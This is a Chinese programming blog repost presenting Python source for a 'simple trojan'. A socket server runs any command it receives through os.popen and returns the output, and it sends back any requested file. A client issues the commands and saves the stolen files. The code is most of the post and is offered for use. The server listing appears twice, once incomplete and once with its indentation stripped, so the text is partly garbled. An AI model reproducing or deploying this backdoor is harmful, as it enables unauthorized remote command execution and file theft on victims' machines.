python實現一個簡單木馬!


一個簡單的木馬程序

絕大多數的木馬程序都是基於Socket來實現的

廢話少說直接上代碼!

代碼:

client部分:

# -*- coding: UTF-8 -*-

import socket
import sys
import re
import os


class Client:
def __init__(self, serverIp, serverPort):
self.serverIp = serverIp # 待連接的遠程主機的域名
self.serverPort = serverPort
self.bufferSize = 10240

def connet(self): # 連接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s" % e)

try:
s.connect((self.serverIp, self.serverPort))
while True:
message = input('> ') # 接收用戶輸入
if not message:
break
s.send(bytes(message, 'utf-8')) # 發送命令
data = s.recv(self.bufferSize) # 接收數據
if not data:
break
if re.search("^0001", data.decode('utf-8', 'ignore')): # 判斷數據類型
print(data.decode('utf-8')[4:])
else: # 文件內容處理
s.send("File size received".encode()) # 通知服務端可以發送文件了
file_total_size = int(data.decode()) # 總大小
received_size = 0
f = open("new" + os.path.split(message)[-1], "wb") # 創建文件
while received_size < file_total_size:
data = s.recv(self.bufferSize)
f.write(data) # 寫文件
received_size += len(data) # 累加接收長度
print("已接收:", received_size)
f.close() # 關閉文件
print("receive done", file_total_size, " ", received_size)
except socket.error:
s.close()
raise # 退出進程
finally:
s.close()


if __name__ == '__main__':
cl = Client('127.0.0.1', 8800)
cl.connet()
sys.exit() # 退出進程

 

server部分:

# -*- coding: UTF-8 -*-

import socket
import sys
import os


class server:
    def __init__(self, ip, port):
        self.port = port
        self.ip = ip
        self.bufferSize = 10240

    def start(self):  # 啟動監聽,接收數據
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.bind((self.ip, self.port))  # 綁定
            s.listen(10)  # 監聽
            print('等待客戶端連接')
            while True:  # 一直等待新的連接
                try:
                    conn, addr = s.accept()  # 接收連接
                    print('客戶端連接 ' + addr[0] + ':' + str(addr[1]))
                    while True:  # 保持長連接
                        data = conn.recv(self.bufferSize)#接收數據
                        if not data:#斷開連接時退出當前循環
                            break
                        else:
                            self.executeCommand(conn,data)
                    conn.close()#關閉當前連接
                except socket.error as e:
                    print(e)
                    conn.close()  # 關閉連接
        finally:
            s.close()  # 關閉服務端

    def executeCommand(self, tcpCliSock, data):  # 解析並執行命令
        try:#
             message = data.decode("utf-8")
             if os.path.isfile(message):#判斷是否是文件
                filesize = str(os.path.getsize(message))#獲取文件大小
                print("文件大小為:",filesize)
                tcpCliSock.send(filesize.encode())#發送文件大小
                data = tcpCliSock.recv(self.bufferSize)
                print("開始發送")
                f = open(message, "rb")#打開文件
                for line in f:
                    tcpCliSock.send(line)#發送文件內容
        except:
            raise


if __name__ == '__main__':
    s = server('', 8800)
    s.start()
# -*- coding: UTF-8 -*-

import socket
import sys
import os


class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240

def start(self): # 啟動監聽,接收數據
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 綁定
s.listen(10) # 監聽
print('等待客戶端連接')
while True: # 一直等待新的連接
try:
conn, addr = s.accept() # 接收連接
print('客戶端連接 ' + addr[0] + ':' + str(addr[1]))
while True: # 不知道客戶端發送數據大小,循環接收
data = conn.recv(self.bufferSize)
if not data:
break
else:
self.executeCommand(conn,data)
conn.close()
except socket.error as e:
print(e)
conn.close() # 關閉連接
finally:
s.close() # 關閉服務端

def executeCommand(self, tcpCliSock, data): # 解析並執行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判斷是否是文件
filesize = str(os.path.getsize(message))#獲取文件大小
print("文件大小為:",filesize)
tcpCliSock.send(filesize.encode())#發送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("開始發送")
f = open(message, "rb")#打開文件
for line in f:
tcpCliSock.send(line)#發送文件內容
else:
tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
except:
raise



if __name__ == '__main__':
s = server('', 8800)
s.start()
 

執行效果:



提醒一下,以上是linux下的方式

如果使用的是windows得解釋器:

命令如下

 

 其余同上!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM